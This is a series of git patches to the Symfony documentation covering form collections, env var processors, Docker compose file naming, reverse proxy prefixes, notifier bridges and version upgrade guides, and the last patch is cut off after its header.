Date: Mon, 19 Feb 2024 12:55:06 +0100
Subject: [PATCH 4473/5766] Minor tweak

---
 form/form_collections.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index ff4dd4794b1..f0ad76a8a61 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -579,8 +579,8 @@ on the server. In order for this to work in an HTML form, you must remove
 the DOM element for the collection item to be removed, before submitting
 the form.
 
-In our JavaScript, we first need add a "delete" button to each existing tag on the page.
-Then, we append the "add delete button" method in the function that adds the new tags.
+In the JavaScript code, add a "delete" button to each existing tag on the page.
+Then, append the "add delete button" method in the function that adds the new tags:
 
 .. code-block:: javascript
 

From 20e562eb8e26a8477a6312cc74285093daeecdff Mon Sep 17 00:00:00 2001
From: javaDeveloperKid <25783196+javaDeveloperKid@users.noreply.github.com>
Date: Fri, 16 Feb 2024 22:12:12 +0100
Subject: [PATCH 4474/5766] be more specific about bool env var processor

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index b5539868524..33ab4947449 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -105,7 +105,7 @@ Symfony provides the following env var processors:
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
-    and all numbers except ``0`` and ``0.0``; everything else is ``false``):
+    and all numbers (also of a string type) except ``0`` and ``0.0``; everything else is ``false``):
 
     .. configuration-block::
 

From 85ba3639c1068dab2d654c4ee1c5b704534c300b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Feb 2024 08:44:19 +0100
Subject: [PATCH 4475/5766] Reword

---
 configuration/env_var_processors.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 33ab4947449..475a078c0a5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -104,8 +104,9 @@ Symfony provides the following env var processors:
             };
 
 ``env(bool:FOO)``
-    Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
-    and all numbers (also of a string type) except ``0`` and ``0.0``; everything else is ``false``):
+    Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``,
+    all numbers except ``0`` and ``0.0`` and all numeric strings except ``'0'``
+    and ``'0.0'``; everything else is ``false``):
 
     .. configuration-block::
 

From f968ab2d8d38ff8fa414cb645ccc7c89145e7d90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Feb 2024 13:08:09 +0100
Subject: [PATCH 4476/5766] Fix the toctree syntax of some content

---
 index.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/index.rst b/index.rst
index 86893b84ac4..c566e5f8671 100644
--- a/index.rst
+++ b/index.rst
@@ -85,4 +85,7 @@ Create your Own Framework
 
 Want to create your own framework based on Symfony?
 
-.. include:: /create_framework/map.rst.inc
+.. toctree::
+   :maxdepth: 2
+
+   create_framework/index

From 2d2a1cef9da895a542db044285afc86114f49d2b Mon Sep 17 00:00:00 2001
From: Tom Egan <61425509+tomegantcs@users.noreply.github.com>
Date: Tue, 13 Dec 2022 14:05:13 -0500
Subject: [PATCH 4477/5766] [Console][Testing] Correct what appears to be
 intended behavior vs actual behavior in documentation

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 7c4738a0b48..328a42ea2bf 100644
--- a/console.rst
+++ b/console.rst
@@ -565,11 +565,11 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 .. caution::
 
-    When testing ``InputOption::VALUE_NONE`` command options, you must pass an
-    empty value to them::
+    When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
+    to them::
 
         $commandTester = new CommandTester($command);
-        $commandTester->execute(['--some-option' => '']);
+        $commandTester->execute(['--some-option' => true]);
 
 .. note::
 

From 2013117084618dae783a1140e6c94281ee8cec1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Mon, 19 Feb 2024 14:52:47 -0500
Subject: [PATCH 4478/5766] Update lazy_services.rst

Update verbage to match the code example
---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 905c4b3a599..a29e7ca691e 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -121,7 +121,7 @@ You can also configure laziness when your service is injected with the
     }
 
 This attribute also allows you to define the interfaces to proxy when using
-laziness, and supports lazy-autowiring of intersection types::
+laziness, and supports lazy-autowiring of union types::
 
     public function __construct(
         #[Autowire(service: 'foo', lazy: FooInterface::class)]

From f3d9113d5a5d988144cc2b57d8a2b05cb4c01aad Mon Sep 17 00:00:00 2001
From: Xbird <contact@xbird.me>
Date: Wed, 21 Feb 2024 21:59:16 +0100
Subject: [PATCH 4479/5766] Replace old docker compose filename

docker-compose.yml/yaml to compose.yaml
---
 .doctor-rst.yaml         |  1 +
 setup/docker.rst         |  2 +-
 setup/symfony_server.rst | 12 ++++++------
 3 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index ac51116da5b..f4c48a0bf54 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -93,6 +93,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
+        - /compose\.yaml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup/docker.rst b/setup/docker.rst
index 63da416e7bf..c00192e08d4 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -19,7 +19,7 @@ Flex Recipes & Docker Configuration
 
 The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
 For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
-your ``docker-compose.yml`` file will automatically be updated to include a
+your ``compose.yaml`` file will automatically be updated to include a
 ``database`` service.
 
 The first time you install a recipe containing Docker config, Flex will ask you
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c6b817ebdb5..6c666a7ad2e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -388,7 +388,7 @@ Consider the following configuration:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         database:
             ports: [3306]
@@ -401,12 +401,12 @@ variables accordingly with the service name (``database``) as a prefix:
 If the service is not in the supported list below, generic environment
 variables are set: ``PORT``, ``IP``, and ``HOST``.
 
-If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
+If the ``compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         db:
             ports: [3306]
@@ -471,7 +471,7 @@ check the "Symfony Server" section in the web debug toolbar; you'll see that
 
     .. code-block:: yaml
 
-        # docker-compose.yaml
+        # compose.yaml
         services:
             db:
                 ports: [3306]
@@ -485,10 +485,10 @@ its location, same as for ``docker-compose``:
 .. code-block:: bash
 
     # start your containers:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
 
     # run any Symfony CLI command:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
 
 .. note::
 

From 4f353624dfdc7e30bfe1dc5e423c60ce076d1403 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Feb 2024 12:18:16 +0100
Subject: [PATCH 4480/5766] -

---
 form/events.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/form/events.rst b/form/events.rst
index 07d01e026e9..745df2df453 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,6 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
+:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.

From 711d27c73b89f86dc6dfd6699d5e1cb494545fd6 Mon Sep 17 00:00:00 2001
From: hbgamra <ha.ben.gamra@gmail.com>
Date: Fri, 16 Feb 2024 15:17:18 +0100
Subject: [PATCH 4481/5766] Update serializer.rst

use php8 functions to manipulate string
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d35051ddf5d..1ebe70bb204 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -606,7 +606,7 @@ A custom name converter can handle such cases::
         public function denormalize(string $propertyName)
         {
             // removes 'org_' prefix
-            return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName;
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
         }
     }
 

From 06a9da6ab68b0e4c4c2adf34178107b3cee1fd32 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20B=C3=B6hmer?= <mail@jan-boehmer.de>
Date: Sat, 11 Nov 2023 23:38:09 +0100
Subject: [PATCH 4482/5766] Added docs on how to configure the reverse proxy
 for a subfolder & Documented the usage of X-Forwared-Prefix

---
 deployment/proxies.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 416039ee040..128c1c96422 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -159,6 +159,29 @@ enough, as it will only trust the node sitting directly above your application
 ranges of any additional proxy (e.g. `CloudFront IP ranges`_) to the array of
 trusted proxies.
 
+Reverse proxy in a subpath / subfolder
+--------------------------------------
+
+If you a running a Symfony application behind a reverse proxy, where the application is served in a subpath / subfolder,
+you might encounter the problem that Symfony generates incorrect URLs, which ignore the subpath / subfolder of the reverse proxy.
+To fix this, you need to pass the subpath / subfolder route prefix of the reverse proxy to Symfony by
+setting the ``X-Forwarded-Prefix`` header. This is required for Symfony to generate the correct URLs. The header can normally be configured
+in your reverse proxy configuration. Configure ``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+
+The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is
+used to generate absolute paths and URLs in Symfony applications. Without the header, the base URL would be only determined
+based on the configuration of the web server running Symfony, which leads to incorrect pathes/URLs, when the application
+is served under a subpath by a reverse proxy.
+
+For example if your symfony application is directly served under an URL like ``https://symfony.tld/``
+and you would like to use a reverse proxy to serve the application under ``https://public.tld/app/``, you would need
+to set the ``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
+Without the header, Symfony would generate URLs based on its servers base URL (e.g. ``/my/route``) instead of the correct
+``/app/my/route``, which is required to access the route via the reverse proxy.
+
+The header can be different for each reverse proxy, so that access via different reverse proxies served under different
+subpaths can be handled correctly.
+
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 

From 4d94af15b66f2b01645ba9324f22b55e74eb8ef0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Feb 2024 16:22:21 +0100
Subject: [PATCH 4483/5766] Minor tweaks

---
 deployment/proxies.rst | 44 ++++++++++++++++++++++++------------------
 1 file changed, 25 insertions(+), 19 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index f3ed2bd0fba..0fdb3fd9350 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -162,25 +162,31 @@ trusted proxies.
 Reverse proxy in a subpath / subfolder
 --------------------------------------
 
-If you a running a Symfony application behind a reverse proxy, where the application is served in a subpath / subfolder,
-you might encounter the problem that Symfony generates incorrect URLs, which ignore the subpath / subfolder of the reverse proxy.
-To fix this, you need to pass the subpath / subfolder route prefix of the reverse proxy to Symfony by
-setting the ``X-Forwarded-Prefix`` header. This is required for Symfony to generate the correct URLs. The header can normally be configured
-in your reverse proxy configuration. Configure ``X-Forwared-Prefix`` as trusted header to be able to use this feature.
-
-The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is
-used to generate absolute paths and URLs in Symfony applications. Without the header, the base URL would be only determined
-based on the configuration of the web server running Symfony, which leads to incorrect pathes/URLs, when the application
-is served under a subpath by a reverse proxy.
-
-For example if your symfony application is directly served under an URL like ``https://symfony.tld/``
-and you would like to use a reverse proxy to serve the application under ``https://public.tld/app/``, you would need
-to set the ``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
-Without the header, Symfony would generate URLs based on its servers base URL (e.g. ``/my/route``) instead of the correct
-``/app/my/route``, which is required to access the route via the reverse proxy.
-
-The header can be different for each reverse proxy, so that access via different reverse proxies served under different
-subpaths can be handled correctly.
+If your Symfony application runs behind a reverse proxy and it's served in a
+subpath/subfolder, Symfony might generate incorrect URLs that ignore the
+subpath/subfolder of the reverse proxy.
+
+To fix this, you need to pass the subpath/subfolder route prefix of the reverse
+proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
+normally be configured in your reverse proxy configuration. Configure
+``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+
+The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
+objects, which is used to generate absolute paths and URLs in Symfony applications.
+Without the header, the base URL would be only determined based on the configuration
+of the web server running Symfony, which leads to incorrect paths/URLs, when the
+application is served under a subpath/subfolder by a reverse proxy.
+
+For example if your Symfony application is directly served under a URL like
+``https://symfony.tld/`` and you would like to use a reverse proxy to serve the
+application under ``https://public.tld/app/``, you would need to set the
+``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
+Without the header, Symfony would generate URLs based on its server base URL
+(e.g. ``/my/route``) instead of the correct ``/app/my/route``, which is
+required to access the route via the reverse proxy.
+
+The header can be different for each reverse proxy, so that access via different
+reverse proxies served under different subpaths/subfolders can be handled correctly.
 
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------

From 63616dc7c37e931ffbad8ea85f5a86bf2ce5c224 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 22 Feb 2024 16:45:26 +0100
Subject: [PATCH 4484/5766] chore: doc asset

---
 components/asset.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index df4a6aa3121..e515b41395c 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -211,19 +211,19 @@ every day::
 
     class DateVersionStrategy implements VersionStrategyInterface
     {
-        private $version;
+        private string $version;
 
         public function __construct()
         {
             $this->version = date('Ymd');
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): string
         {
             return $this->version;
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }

From 4fc32cdad4d9a6a1373ca267e0066b774316f2e4 Mon Sep 17 00:00:00 2001
From: Valentin-Nicusor Barbu <jimiero@gmail.com>
Date: Thu, 8 Feb 2024 13:50:42 +0200
Subject: [PATCH 4485/5766] [Notifier] [SMSense] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 774294c3577..3cf7f19d3df 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -96,6 +96,7 @@ Service             Package                                DSN
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
+`SMSense`_          ``symfony/smsense-notifier``           ``smsense://API_TOKEN@default?from=FROM``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -114,7 +115,7 @@ Service             Package                                DSN
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_ integration was introduced in Symfony 7.1.
+    The `SmsSluzba`_ and  `SMSense`_ integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 

From 7c5c13f00a06be24f903c21bc422a037e4012097 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 23 Feb 2024 08:46:30 +0100
Subject: [PATCH 4486/5766] -

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 1241298d3ee..be51386544a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1041,6 +1041,7 @@ is dispatched. Listeners receive a
 .. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SMSense`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SMSense/README.md
 .. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md

From 82fe0b7e81ed004f594f5aac74e3ab30533a8a70 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 25 Feb 2024 21:22:51 +0100
Subject: [PATCH 4487/5766] [AssetMapper] Minor

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 15fc5994aba..d62c4dedde5 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no                                  no :ref:`[2] <ux-note-2>`
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no :ref:`[2] <ux-note-2>`
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 

From 4246b9e440845e3c7ccef2319ddf7465da7c7f98 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:04:08 +0100
Subject: [PATCH 4488/5766] chore: document latest LTS

https://symfony.com/versions.json
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 8a1a0bb67e0..7633235ea12 100644
--- a/setup.rst
+++ b/setup.rst
@@ -272,14 +272,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version="5.4.*"
+    $ symfony new my_project_directory --version="6.4.*"
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 858f548a0db0c335578be3307bd664e06aa98615 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:07:42 +0100
Subject: [PATCH 4489/5766] chore: document minor upgrade with latest versions

follows https://github.com/symfony/symfony-docs/pull/19599
---
 setup/upgrade_minor.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 9e8c6943d1f..ec00e142b82 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,4 +1,4 @@
-Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
+Upgrading a Minor Version (e.g. 6.3.0 to 6.4.0)
 ===============================================
 
 If you're upgrading a minor version (where the middle number changes), then
@@ -21,7 +21,7 @@ There are two steps to upgrading a minor version:
 The ``composer.json`` file is configured to allow Symfony packages to be
 upgraded to patch versions. But to upgrade to a new minor version, you will
 probably need to update the version constraint next to each library starting
-``symfony/``. Suppose you are upgrading from Symfony 5.3 to 5.4:
+``symfony/``. Suppose you are upgrading from Symfony 6.3 to 6.4:
 
 .. code-block:: diff
 
@@ -29,19 +29,17 @@ probably need to update the version constraint next to each library starting
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "5.3.*",
-    +         "symfony/cache": "5.4.*",
-    -         "symfony/config": "5.3.*",
-    +         "symfony/config": "5.4.*",
-    -         "symfony/console": "5.3.*",
-    +         "symfony/console": "5.4.*",
+    -         "symfony/config": "6.3.*",
+    +         "symfony/config": "6.4.*",
+    -         "symfony/console": "6.3.*",
+    +         "symfony/console": "6.4.*",
               "...": "...",
 
               "...": "A few libraries starting with
                       symfony/ follow their own versioning scheme. You
                       do not need to update these versions: you can
                       upgrade them independently whenever you want",
-              "symfony/monolog-bundle": "^3.5",
+              "symfony/monolog-bundle": "^3.10",
           },
           "...": "...",
       }
@@ -54,8 +52,8 @@ Your ``composer.json`` file should also have an ``extra`` block that you will
       "extra": {
           "symfony": {
               "...": "...",
-    -         "require": "5.3.*"
-    +         "require": "5.4.*"
+    -         "require": "6.3.*"
+    +         "require": "6.4.*"
           }
       }
 
@@ -79,7 +77,7 @@ to your code to get everything working. Additionally, some features you're
 using might still work, but might now be deprecated. While that's fine,
 if you know about these deprecations, you can start to fix them over time.
 
-Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-5.4.md`_)
+Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-6.4.md`_)
 included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
@@ -97,5 +95,5 @@ These documents can also be found in the `Symfony Repository`_.
 .. include:: /setup/_update_recipes.rst.inc
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
-.. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md
+.. _`UPGRADE-6.4.md`: https://github.com/symfony/symfony/blob/6.4/UPGRADE-6.4.md
 .. _`Rector`: https://github.com/rectorphp/rector

From cbac28f28e9e8c9ac236717730057db8ff3ae613 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:13:01 +0100
Subject: [PATCH 4490/5766] chore: document major upgrade with latest versions

ref https://github.com/symfony/symfony-docs/pull/19600
---
 setup/upgrade_major.rst | 30 ++++++++++++++----------------
 1 file changed, 14 insertions(+), 16 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9e18c88ccd6..13f6feab6d1 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,4 +1,4 @@
-Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
+Upgrading a Major Version (e.g. 6.4.0 to 7.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -27,10 +27,10 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 6.0.0), all deprecated features and
+When the major version is released (e.g. 7.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``5.4.*``), you should be able to upgrade without a problem. That means that
+``6.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
 (e.g. 5.4) so that you can see *all* the deprecations.
 
@@ -107,7 +107,7 @@ done!
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 5.4 and you still need to support 5.3). In these cases, you can still
+    in 6.4 and you still need to support 6.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -144,12 +144,10 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "5.4.*",
-    +         "symfony/cache": "6.0.*",
-    -         "symfony/config": "5.4.*",
-    +         "symfony/config": "6.0.*",
-    -         "symfony/console": "5.4.*",
-    +         "symfony/console": "6.0.*",
+    -         "symfony/config": "6.4.*",
+    +         "symfony/config": "7.0.*",
+    -         "symfony/console": "6.4.*",
+    +         "symfony/console": "7.0.*",
               "...": "...",
 
               "...": "A few libraries starting with symfony/ follow their own
@@ -157,22 +155,22 @@ starting with ``symfony/`` to the new major version:
                       symfony/ux-[...], symfony/[...]-bundle).
                       You do not need to update these versions: you can
                       upgrade them independently whenever you want",
-              "symfony/monolog-bundle": "^3.5",
+              "symfony/monolog-bundle": "^3.10",
           },
           "...": "...",
       }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
+this one. For instance, update it to ``7.0.*`` to upgrade to Symfony 7.0:
 
 .. code-block:: diff
 
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "5.4.*"
-    +       "require": "6.0.*"
+    -       "require": "6.4.*"
+    +       "require": "7.0.*"
           }
       }
 
@@ -215,13 +213,13 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-Symfony 6 will come with native PHP return types to (almost all) methods.
+Symfony 6 and Symfony 6 have come with native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing
 or overriding the method must have the return type as well. However, you
 can add a return type before the parent adds one. This means that it is
 important to add the native PHP return types to your classes before
-upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+upgrading to Symfony 6.0 or 7.0. Otherwise, you will get incompatible declaration
 errors.
 
 When debug mode is enabled (typically in the dev and test environment),

From 42c8fd95b10afde018b6017560f26dd77f466df2 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 08:08:44 +0100
Subject: [PATCH 4491/5766] chore: replace `workflow` by `flow` and add more
 context

---
 components/http_kernel.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 17ea754b70c..79b3f0a3ced 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -15,8 +15,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-The Workflow of a Request
--------------------------
+The Full Flow of a Request-Response lifecycle
+---------------------------------------------
 
 .. seealso::
 
@@ -29,7 +29,7 @@ The Workflow of a Request
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
-This is a simplified overview of the request workflow in Symfony applications:
+This is a simplified overview of the request to response flow in Symfony applications:
 
 #. The **user** asks for a **resource** in a **browser**;
 #. The **browser** sends a **request** to the **server**;
@@ -66,7 +66,7 @@ that system::
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -
 the concrete implementation of :method:`HttpKernelInterface::handle() <Symfony\\Component\\HttpKernel\\HttpKernelInterface::handle>` -
-defines a workflow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
+defines a process flow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
 and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
@@ -75,7 +75,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
-The exact details of this workflow are the key to understanding how the kernel
+The exact details of this flow are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
 
 HttpKernel: Driven by Events

From cf168920c97fed86faa4a28391ca4793406936ea Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 08:19:44 +0100
Subject: [PATCH 4492/5766] chore: replace word throw by dispatch for event

---
